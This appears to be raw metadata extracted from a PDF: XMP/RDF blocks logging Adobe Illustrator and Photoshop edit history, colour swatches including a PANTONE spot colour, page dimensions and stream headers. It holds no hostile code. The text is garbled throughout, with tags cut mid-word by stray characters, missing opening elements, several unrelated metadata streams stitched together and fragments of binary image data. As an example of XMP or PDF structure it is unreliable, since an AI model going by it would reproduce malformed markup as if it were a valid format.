         <xmp:CreatorTool>Adobe Illustrator CC 2017 (Macintosh)</xmp:CreatorTool>
         <xmpMM:InstanceID>uuid:4dfbdb1c-325e-7144-86df-cf4b76820618</xmpMM:InstanceID>
         <xmpMM:DocumentID>xmp.did:1b6690ed-28a8-c141-9479-b6a9cf6be651</xmpMM:DocumentID>
         <xmpMM:OriginalDocumentID>uuid:5D2089M
2493BFDB11914A8590D31508C8</xmpMM:OriginalDocumentID>
         <xmpMM:RenditionClass>proof:pdf</xmpMM:RenditionClass>
         <xmpMM:DerivedFrom rdf:parseType="Resource">
            <stRef:instanceID>uuid:69e66311-7171-fc4e-aa90-9826e2d7a0a3</stRef:instanceID>
            <stRef:documentID>xmp.did:34fd856f-18a3-4316-bc70-79ece78f8e18</stRef:documentID>
            <stRef:originalDocumentID>uuid:5D20892493BFDB11914A8590D31508C8</stRef:originalDocumentID>
            <stRef:renditionClass>proof:pdf</stRef:renditionM
         </xmpMM:DerivedFrom>
         <xmpMM:History>
            <rdf:Seq>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>converted</stEvt:action>
                  <stEvt:params>from application/pdf to &lt;unknown&gt;</stEvt:params>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:D27F11740720681191099C3B601C4548</stEvt:instanceID>
                  <sM
tEvt:when>2008-04-17T14:19:15+05:30</stEvt:when>
                  <stEvt:softwareAgent>Adobe Illustrator CS4</stEvt:softwareAgent>
                  <stEvt:changed>
                     <rdf:Bag>
                        <rdf:li>/</rdf:li>
                     </rdf:Bag>
                  </stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>converted</stEvt:action>
                  <stEvt:params>from application/pdf to &lt;unknown&gt;</stEvt:parM
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>converted</stEvt:action>
                  <stEvt:params>from application/pdf to &lt;unknown&gt;</stEvt:params>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:F97F1174072068118D4ED246B3ADB1C6</stEvt:instanceID>
                  <stEvt:when>2008-05-15T16:23:06-07:00</stEvt:when>
             <stEvt:softwareAgent>Adobe Illustrator CS4</stEvt:softwareAgent>
                  <stEvt:changed>
                     <rdf:Bag>
                        <rdf:li>/</rdf:li>
                     </rdf:Bag>
                  </stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:FA7F1174072068118D4ED246B3ADB1C6</stEvt:instanceID>
                  <stEvt:when>2008-05-15T17:M
10:45-07:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Illustrator CS4</stEvt:softwareAgent>
                  <stEvt:changed>
                     <rdf:Bag>
                        <rdf:li>/</rdf:li>
                     </rdf:Bag>
                  </stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:EF7F117407206811A46CA4519D24356B</stEvt:instanceID>
    <stEvt:when>2008-05-15T22:53:33-07:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Illustrator CS4</stEvt:softwareAgent>
                  <stEvt:changed>
                     <rdf:Bag>
                        <rdf:li>/</rdf:li>
                     </rdf:Bag>
                  </stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:F07F117407206811A46CA4519D24356B</stM
                  <stEvt:when>2008-05-15T23:07:07-07:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Illustrator CS4</stEvt:softwareAgent>
                  <stEvt:changed>
                     <rdf:Bag>
                        <rdf:li>/</rdf:li>
                     </rdf:Bag>
                  </stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:F77F11M
7407206811BDDDFD38D0CF24DD</stEvt:instanceID>
                  <stEvt:when>2008-05-16T10:35:43-07:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Illustrator CS4</stEvt:softwareAgent>
                  <stEvt:changed>
                     <rdf:Bag>
                        <rdf:li>/</rdf:li>
                     </rdf:Bag>
                  </stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>converted</stEvt:action>
  <stEvt:params>from application/pdf to &lt;unknown&gt;</stEvt:params>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:F97F117407206811BDDDFD38D0CF24DD</stEvt:instanceID>
                  <stEvt:when>2008-05-16T10:40:59-07:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Illustrator CS4</stEvt:softwareAgent>
                  <stEvt:changed>
                     <rdf:Bag>
               <rdf:li>/</rdf:li>
                     </rdf:Bag>
                  </stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>converted</stEvt:action>
                  <stEvt:params>from application/vnd.adobe.illustrator to &lt;unknown&gt;</stEvt:params>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:FA7F11740720M
6811BDDDFD38D0CF24DD</stEvt:instanceID>
                  <stEvt:when>2008-05-16T11:26:55-07:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Illustrator CS4</stEvt:softwareAgent>
                  <stEvt:changed>
                     <rdf:Bag>
                        <rdf:li>/</rdf:li>
                     </rdf:Bag>
                  </stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:iM
nstanceID>xmp.iid:FB7F117407206811BDDDFD38D0CF24DD</stEvt:instanceID>
                  <stEvt:when>2008-05-16T11:29:01-07:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Illustrator CS4</stEvt:softwareAgent>
                  <stEvt:changed>
                     <rdf:Bag>
                        <rdf:li>/</rdf:li>
                     </rdf:Bag>
                  </stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:actiM
                  <stEvt:instanceID>xmp.iid:FC7F117407206811BDDDFD38D0CF24DD</stEvt:instanceID>
                  <stEvt:when>2008-05-16T11:29:20-07:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Illustrator CS4</stEvt:softwareAgent>
                  <stEvt:changed>
                     <rdf:Bag>
                        <rdf:li>/</rdf:li>
                     </rdf:Bag>
                  </stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <M
stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:FD7F117407206811BDDDFD38D0CF24DD</stEvt:instanceID>
                  <stEvt:when>2008-05-16T11:30:54-07:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Illustrator CS4</stEvt:softwareAgent>
                  <stEvt:changed>
                     <rdf:Bag>
                        <rdf:li>/</rdf:li>
                     </rdf:Bag>
                  </stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="M
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:FE7F117407206811BDDDFD38D0CF24DD</stEvt:instanceID>
                  <stEvt:when>2008-05-16T11:31:22-07:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Illustrator CS4</stEvt:softwareAgent>
                  <stEvt:changed>
                     <rdf:Bag>
                        <rdf:li>/</rdf:li>
                     </rdf:Bag>
                  </stEvt:changed>
               </rdf:li>
       <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:B233668C16206811BDDDFD38D0CF24DD</stEvt:instanceID>
                  <stEvt:when>2008-05-16T12:23:46-07:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Illustrator CS4</stEvt:softwareAgent>
                  <stEvt:changed>
                     <rdf:Bag>
                        <rdf:li>/</rdf:li>
                     </rdf:Bag>
                  </stEvt:changed>
            </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:B333668C16206811BDDDFD38D0CF24DD</stEvt:instanceID>
                  <stEvt:when>2008-05-16T13:27:54-07:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Illustrator CS4</stEvt:softwareAgent>
                  <stEvt:changed>
                     <rdf:Bag>
                        <rdf:li>/</rdf:li>
                     </rdf:Bag>
          </stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:B433668C16206811BDDDFD38D0CF24DD</stEvt:instanceID>
                  <stEvt:when>2008-05-16T13:46:13-07:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Illustrator CS4</stEvt:softwareAgent>
                  <stEvt:changed>
                     <rdf:Bag>
                        <rdf:li>/</rdf:li>
           </rdf:Bag>
                  </stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:F77F11740720681197C1BF14D1759E83</stEvt:instanceID>
                  <stEvt:when>2008-05-16T15:47:57-07:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Illustrator CS4</stEvt:softwareAgent>
                  <stEvt:changed>
                     <rdf:Bag>
                       M
                     </rdf:Bag>
                  </stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:F87F11740720681197C1BF14D1759E83</stEvt:instanceID>
                  <stEvt:when>2008-05-16T15:51:06-07:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Illustrator CS4</stEvt:softwareAgent>
                  <stEvt:changed>
                     <rdM
                        <rdf:li>/</rdf:li>
                     </rdf:Bag>
                  </stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:F97F11740720681197C1BF14D1759E83</stEvt:instanceID>
                  <stEvt:when>2008-05-16T15:52:22-07:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Illustrator CS4</stEvt:softwareAgent>
                  <stEvt:chaM
                     <rdf:Bag>
                        <rdf:li>/</rdf:li>
                     </rdf:Bag>
                  </stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>converted</stEvt:action>
                  <stEvt:params>from application/vnd.adobe.illustrator to application/vnd.adobe.illustrator</stEvt:params>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:M
                  <stEvt:instanceID>xmp.iid:FA7F117407206811B628E3BF27C8C41B</stEvt:instanceID>
                  <stEvt:when>2008-05-22T13:28:01-07:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Illustrator CS4</stEvt:softwareAgent>
                  <stEvt:changed>
                     <rdf:Bag>
                        <rdf:li>/</rdf:li>
                     </rdf:Bag>
                  </stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
   <stEvt:action>converted</stEvt:action>
                  <stEvt:params>from application/vnd.adobe.illustrator to application/vnd.adobe.illustrator</stEvt:params>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:FF7F117407206811B628E3BF27C8C41B</stEvt:instanceID>
                  <stEvt:when>2008-05-22T16:23:53-07:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Illustrator CS4</sM
                  <stEvt:changed>
                     <rdf:Bag>
                        <rdf:li>/</rdf:li>
                     </rdf:Bag>
                  </stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>converted</stEvt:action>
                  <stEvt:params>from application/vnd.adobe.illustrator to application/vnd.adobe.illustrator</stEvt:params>
               </rdf:li>
               <rdf:li rdf:parseType="ResourceM
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:07C3BD25102DDD1181B594070CEB88D9</stEvt:instanceID>
                  <stEvt:when>2008-05-28T16:45:26-07:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Illustrator CS4</stEvt:softwareAgent>
                  <stEvt:changed>
                     <rdf:Bag>
                        <rdf:li>/</rdf:li>
                     </rdf:Bag>
                  </stEvt:changed>
               </rdf:li>
rdf:li rdf:parseType="Resource">
                  <stEvt:action>converted</stEvt:action>
                  <stEvt:params>from application/vnd.adobe.illustrator to application/vnd.adobe.illustrator</stEvt:params>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:F87F1174072068119098B097FDA39BEF</stEvt:instanceID>
                  <stEvt:when>2008-06-02T13:25:25-07:00</stEvt:when>
   <stEvt:softwareAgent>Adobe Illustrator CS4</stEvt:softwareAgent>
                  <stEvt:changed>
                     <rdf:Bag>
                        <rdf:li>/</rdf:li>
                     </rdf:Bag>
                  </stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:F77F117407206811BB1DBF8F242B6F84</stEvt:instanceID>
                  <stEvt:when>2008-06-09T14:58:36-07:0M
                  <stEvt:softwareAgent>Adobe Illustrator CS4</stEvt:softwareAgent>
                  <stEvt:changed>
                     <rdf:Bag>
                        <rdf:li>/</rdf:li>
                     </rdf:Bag>
                  </stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:F97F117407206811ACAFB8DA80854E76</stEvt:instanceID>
                  <stEvtM
:when>2008-06-11T14:31:27-07:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Illustrator CS4</stEvt:softwareAgent>
                  <stEvt:changed>
                     <rdf:Bag>
                        <rdf:li>/</rdf:li>
                     </rdf:Bag>
                  </stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:0180117407206811834383CD3A8D2303</stEvt:instanM
                  <stEvt:when>2008-06-11T22:37:35-07:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Illustrator CS4</stEvt:softwareAgent>
                  <stEvt:changed>
                     <rdf:Bag>
                        <rdf:li>/</rdf:li>
                     </rdf:Bag>
                  </stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:F77F117407206811M
818C85DF6A1A75C3</stEvt:instanceID>
                  <stEvt:when>2008-06-27T14:40:42-07:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Illustrator CS4</stEvt:softwareAgent>
                  <stEvt:changed>
                     <rdf:Bag>
                        <rdf:li>/</rdf:li>
                     </rdf:Bag>
                  </stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instaM
nceID>xmp.iid:0580117407206811910989C2A6325BB5</stEvt:instanceID>
                  <stEvt:when>2009-11-26T17:25:36+05:30</stEvt:when>
                  <stEvt:softwareAgent>Adobe Illustrator CS5</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:1b6690ed-28a8-c141-9479-b6a9cf6be651</stEvt:instanceID>
                  <stEvtM
:when>2013-03-19T16:43:12+05:30</stEvt:when>
                  <stEvt:softwareAgent>Adobe Illustrator CC (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
            </rdf:Seq>
         </xmpMM:History>
         <illustrator:Type>Document</illustrator:Type>
         <illustrator:StartupProfile>Print</illustrator:StartupProfile>
         <xmpTPg:HasVisibleOverprint>True</xmpTPg:HasVisibleOverprint>
         <xmpTPg:HasVisibleTransparency>False</xmpTPg:HasVisM
         <xmpTPg:NPages>1</xmpTPg:NPages>
         <xmpTPg:MaxPageSize rdf:parseType="Resource">
            <stDim:w>314.999995</stDim:w>
            <stDim:h>99.899595</stDim:h>
            <stDim:unit>Points</stDim:unit>
         </xmpTPg:MaxPageSize>
         <xmpTPg:PlateNames>
            <rdf:Seq>
               <rdf:li>Black</rdf:li>
               <rdf:li>PANTONE 124 C - 0/28/100/6</rdf:li>
            </rdf:Seq>
         </xmpTPg:PlateNames>
         <xmpTPg:SwatchGroups>
               <rdf:li rdf:parseType="Resource">
                  <xmpG:groupName>Default Swatch Group</xmpG:groupName>
                  <xmpG:groupType>0</xmpG:groupType>
                  <xmpG:Colorants>
                     <rdf:Seq>
                        <rdf:li rdf:parseType="Resource">
                           <xmpG:swatchName>White</xmpG:swatchName>
                           <xmpG:mode>CMYK</xmpG:mode>
                           <xmpG:type>PROCESS</xmpG:type>
                           <xmpG:cM
yan>0.000000</xmpG:cyan>
                           <xmpG:magenta>0.000000</xmpG:magenta>
                           <xmpG:yellow>0.000000</xmpG:yellow>
                           <xmpG:black>0.000000</xmpG:black>
                        </rdf:li>
                        <rdf:li rdf:parseType="Resource">
                           <xmpG:swatchName>Black</xmpG:swatchName>
                           <xmpG:mode>CMYK</xmpG:mode>
                           <xmpG:type>PROCESS</xmpG:type>
                           <xmpG:M
cyan>0.000000</xmpG:cyan>
                           <xmpG:magenta>0.000000</xmpG:magenta>
                           <xmpG:yellow>0.000000</xmpG:yellow>
                           <xmpG:black>100.000000</xmpG:black>
                        </rdf:li>
                        <rdf:li rdf:parseType="Resource">
                           <xmpG:swatchName>PANTONE 124 C - 0/28/100/6</xmpG:swatchName>
                           <xmpG:type>SPOT</xmpG:type>
                           <xmpG:tint>100.000000</xmpG:tint>
                     <xmpG:mode>CMYK</xmpG:mode>
                           <xmpG:cyan>0.000000</xmpG:cyan>
                           <xmpG:magenta>28.000000</xmpG:magenta>
                           <xmpG:yellow>100.000000</xmpG:yellow>
                           <xmpG:black>6.000000</xmpG:black>
                        </rdf:li>
                     </rdf:Seq>
                  </xmpG:Colorants>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <xmpG:groupName>Grays</xmpM
                  <xmpG:groupType>1</xmpG:groupType>
                  <xmpG:Colorants>
                     <rdf:Seq>
                        <rdf:li rdf:parseType="Resource">
                           <xmpG:swatchName>C=0 M=0 Y=0 K=100</xmpG:swatchName>
                           <xmpG:mode>CMYK</xmpG:mode>
                           <xmpG:type>PROCESS</xmpG:type>
                           <xmpG:cyan>0.000000</xmpG:cyan>
                           <xmpG:magenta>0.000000</xmpG:magenta>
              <xmpG:yellow>0.000000</xmpG:yellow>
                           <xmpG:black>100.000000</xmpG:black>
                        </rdf:li>
                     </rdf:Seq>
                  </xmpG:Colorants>
               </rdf:li>
            </rdf:Seq>
         </xmpTPg:SwatchGroups>
         <pdf:Producer>Adobe PDF library 15.00</pdf:Producer>
         <pdfx:CreatorVersion>21.0.0</pdfx:CreatorVersion>
      </rdf:Description>
<</Length 3615/Subtype/XML/Type/Metadata>>stream
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57        ">
 <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
    xmlns:aux="http://ns.adobe.com/exif/1.0/aux/"
    xmlns:xmp="http://ns.adobe.com/xap/1.0/"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:xmpMM="http://ns.adoM
    xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
    xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
   photoshop:DateCreated="2014-05-09T15:14:23-04:00"
   photoshop:LegacyIPTCDigest="803E6E6263F433A2BA143AB42516428A"
   photoshop:ColorMode="3"
   photoshop:ICCProfile="Adobe RGB (1998)"
   aux:SerialNumber="CC001514"
   aux:Firmware="H25, Firmware: Main=1.1.2, Boot=1.0.1d3, FPGA=1.0.1, CPLD=1.0.1"
   xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)"
ate="2014-05-09T15:14:23"
   xmp:ModifyDate="2014-06-11T09:46:53-04:00"
   xmp:MetadataDate="2014-06-11T09:46:53-04:00"
   dc:format="image/tiff"
   xmpMM:InstanceID="xmp.iid:06801174072068118C14E26770E7E842"
   xmpMM:DocumentID="xmp.did:7A972BC151206811822AA0160B4075D2"
   xmpMM:OriginalDocumentID="xmp.did:7A972BC151206811822AA0160B4075D2">
   <photoshop:DocumentAncestors>
     <rdf:li>xmp.did:7A972BC151206811822AA0160B4075D2</rdf:li>
     <rdf:li>xmp.did:F9DE9567382068118083ABEA68AC51C9</rdf:li>
  <rdf:li>xmp.did:FF7F1174072068118083ABEA68AC51C9</rdf:li>
   </photoshop:DocumentAncestors>
      stEvt:action="saved"
      stEvt:instanceID="xmp.iid:7A972BC151206811822AA0160B4075D2"
      stEvt:when="2014-05-09T16:53:28-04:00"
      stEvt:softwareAgent="Adobe Photoshop CS6 (Macintosh)"
      stEvt:changed="/"/>
      stEvt:action="saved"
      stEvt:instanceID="xmp.iid:F97F1174072068118083ABEA68AC51C9"
      stEvt:when="2014-05-12T09:57:M
      stEvt:softwareAgent="Adobe Photoshop CS6 (Macintosh)"
      stEvt:changed="/"/>
      stEvt:action="converted"
      stEvt:parameters="from image/tiff to application/vnd.adobe.photoshop"/>
      stEvt:action="derived"
      stEvt:parameters="converted from image/tiff to application/vnd.adobe.photoshop"/>
      stEvt:action="saved"
      stEvt:instanceID="xmp.iid:FA7F1174072068118083ABEA68AC51C9"
      stEvt:when="2014-05-12T09:57:47-04:00"
      stEvt:softwareAM
gent="Adobe Photoshop CS6 (Macintosh)"
      stEvt:changed="/"/>
      stEvt:action="saved"
      stEvt:instanceID="xmp.iid:05801174072068118C14E26770E7E842"
      stEvt:when="2014-06-11T09:46:53-04:00"
      stEvt:softwareAgent="Adobe Photoshop CS6 (Macintosh)"
      stEvt:changed="/"/>
      stEvt:action="converted"
      stEvt:parameters="from application/vnd.adobe.photoshop to image/tiff"/>
      stEvt:action="derived"
      stEvt:parameters="converted from application/vndM
.adobe.photoshop to image/tiff"/>
      stEvt:action="saved"
      stEvt:instanceID="xmp.iid:06801174072068118C14E26770E7E842"
      stEvt:when="2014-06-11T09:46:53-04:00"
      stEvt:softwareAgent="Adobe Photoshop CS6 (Macintosh)"
      stEvt:changed="/"/>
   <xmpMM:DerivedFrom
    stRef:instanceID="xmp.iid:05801174072068118C14E26770E7E842"
    stRef:documentID="xmp.did:7A972BC151206811822AA0160B4075D2"
    stRef:originalDocumentID="xmp.did:7A972BC151206811822AA0160BM
  </rdf:Description>
<</BitsPerComponent 8/ColorSpace 17 0 R/Filter/DCTDecode/Height 862/Intent/RelativeColorimetric/Length 63520/Metadata 50 0 R/Name/X/Subtype/Image/Type/XObject/Width 633>>stream
&'()*89:CFHIJVXYZcdefghijuvwxyz
"#$%&'()*3456789:BCDEFGHIJRSTUVWXYZbcdefghijrstuvwxyz
<</Length 17493/Subtype/XML/Type/Metadata>>stream
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57  M
 <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:xmp="http://ns.adobe.com/xap/1.0/"
    xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
    xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
    xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
    xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/"
    xmlns:exifEX="httpM
://cipa.jp/exif/1.0/"
   xmp:ModifyDate="2018-06-20T08:14:05-04:00"
   xmp:CreatorTool="Adobe Photoshop CC 2018 (Macintosh)"
   xmp:CreateDate="2005-12-07T10:29:59"
   xmp:MetadataDate="2018-06-20T08:14:05-04:00"
   xmpMM:DocumentID="adobe:docid:photoshop:87c4359f-3f8e-ce4c-8c3c-084015f3257b"
   xmpMM:InstanceID="xmp.iid:d94f768b-dac0-4200-8c54-8b7072482954"
   xmpMM:OriginalDocumentID="uuid:AD5D526415DE11DC8C55DCA48C543919"
   dc:format="image/jpeg"
   photoshop:ColorMode="4"
   photoshop:ICCProfile="U.S. Web CoatM
   photoshop:DateCreated="2005-12-07T10:29:59"
   xmpRights:Marked="False"
   exifEX:PhotographicSensitivity="50">
   <xmpMM:DerivedFrom
    stRef:instanceID="xmp.iid:78515218-8c48-4f3f-9fd4-373835bb2d9d"
    stRef:documentID="adobe:docid:photoshop:35474797-39a9-1f48-b438-5c52062237e4"
    stRef:originalDocumentID="uuid:AD5D526415DE11DC8C55DCA48C543919"/>
      stEvt:action="saved"
      stEvt:instanceID="xmp.iid:16B27FB6212068118DBBAE0FE23BD944"
vt:when="2012-04-30T13:05:41-04:00"
      stEvt:softwareAgent="Adobe Photoshop CS5 Macintosh"
      stEvt:changed="/"/>
      stEvt:action="converted"
      stEvt:parameters="from image/tiff to application/vnd.adobe.photoshop"/>
      stEvt:action="derived"
      stEvt:parameters="converted from image/tiff to application/vnd.adobe.photoshop"/>
      stEvt:action="saved"
      stEvt:instanceID="xmp.iid:17B27FB6212068118DBBAE0FE23BD944"
      stEvt:when="2012-04-30T13:05:41-04:0M
      stEvt:softwareAgent="Adobe Photoshop CS5 Macintosh"
      stEvt:changed="/"/>
      stEvt:action="saved"
      stEvt:instanceID="xmp.iid:18B27FB6212068118DBBAE0FE23BD944"
      stEvt:when="2012-04-30T13:05:56-04:00"
      stEvt:softwareAgent="Adobe Photoshop CS5 Macintosh"
      stEvt:changed="/"/>
      stEvt:action="converted"
      stEvt:parameters="from application/vnd.adobe.photoshop to image/tiff"/>
      stEvt:action="derived"
      stEvt:parameters="converted M
from application/vnd.adobe.photoshop to image/tiff"/>
      stEvt:action="saved"
      stEvt:instanceID="xmp.iid:19B27FB6212068118DBBAE0FE23BD944"
      stEvt:when="2012-04-30T13:05:56-04:00"
      stEvt:softwareAgent="Adobe Photoshop CS5 Macintosh"
      stEvt:changed="/"/>
      stEvt:action="saved"
      stEvt:instanceID="xmp.iid:78515218-8c48-4f3f-9fd4-373835bb2d9d"
      stEvt:when="2018-06-20T08:14:05-04:00"
      stEvt:softwareAgent="Adobe Photoshop CC 2018 (Macintosh)"
      stEvt:action="converted"
      stEvt:parameters="from image/tiff to image/jpeg"/>
      stEvt:action="derived"
      stEvt:parameters="converted from image/tiff to image/jpeg"/>
      stEvt:action="saved"
      stEvt:instanceID="xmp.iid:d94f768b-dac0-4200-8c54-8b7072482954"
      stEvt:when="2018-06-20T08:14:05-04:00"
      stEvt:softwareAgent="Adobe Photoshop CC 2018 (Macintosh)"
      stEvt:changed="/"/>
     <rdf:li>adobe:docid:photoshop:00f7eb43-7e42-117a-865e-cde42b56f534</rdf:li>
     <rdf:li>adobe:docid:photoshop:0205bac1-285b-117a-8048-cd333b6609d6</rdf:li>
     <rdf:li>adobe:docid:photoshop:0359ef07-2a33-117a-b0b2-a4bb0a5ed692</rdf:li>
     <rdf:li>adobe:docid:photoshop:040276ef-1967-1178-85a6-887f6d913a66</rdf:li>
     <rdf:li>adobe:docid:photoshop:06d16918-1a00-1178-82b9-d46b6dd03660</rdf:li>
     <rdf:li>adobe:docid:photoshop:09681107-27fe-117a-8048-cd333b6609d6</rdf:li>
  <rdf:li>adobe:docid:photoshop:0b091329-7e0f-117a-b461-d68a70f37929</rdf:li>
     <rdf:li>adobe:docid:photoshop:0b9761b8-2bda-374a-be6c-19aa1d4ed957</rdf:li>
     <rdf:li>adobe:docid:photoshop:0f9a2bd9-9b30-5c44-940d-2e3b25dccfbc</rdf:li>
     <rdf:li>adobe:docid:photoshop:13712ca0-0c40-11e8-bfc7-fe516ffc5eaa</rdf:li>
     <rdf:li>adobe:docid:photoshop:147260d6-19e1-1178-82b9-d46b6dd03660</rdf:li>
     <rdf:li>adobe:docid:photoshop:14b8a6ae-d844-1179-a70d-a9c2931c7bb6</rdf:li>
     <rdf:li>adobe:docid:photoshop:15M
09e69e-75fe-11e6-8e71-ccca60a3940a</rdf:li>
     <rdf:li>adobe:docid:photoshop:179c006e-190e-1178-a3a3-840030d0eca2</rdf:li>
     <rdf:li>adobe:docid:photoshop:1af6b8f2-17a6-1178-a555-c5050d7505b6</rdf:li>
     <rdf:li>adobe:docid:photoshop:1f670d8a-27ff-117a-9788-9c2db91f2698</rdf:li>
     <rdf:li>adobe:docid:photoshop:2271ebae-3284-4942-97ba-87d38039351a</rdf:li>
     <rdf:li>adobe:docid:photoshop:2427513c-23a7-117a-a15a-f472fc08574b</rdf:li>
     <rdf:li>adobe:docid:photoshop:289d9241-483e-11e6-9245-a13bfdc9b13eM
     <rdf:li>adobe:docid:photoshop:28e1a34d-78fa-11e6-bb44-e35d217881a2</rdf:li>
     <rdf:li>adobe:docid:photoshop:2aa9204a-139b-1178-bd43-babcb6f4b73f</rdf:li>
     <rdf:li>adobe:docid:photoshop:31cfcdc5-f85a-11e5-a815-85c176b77930</rdf:li>
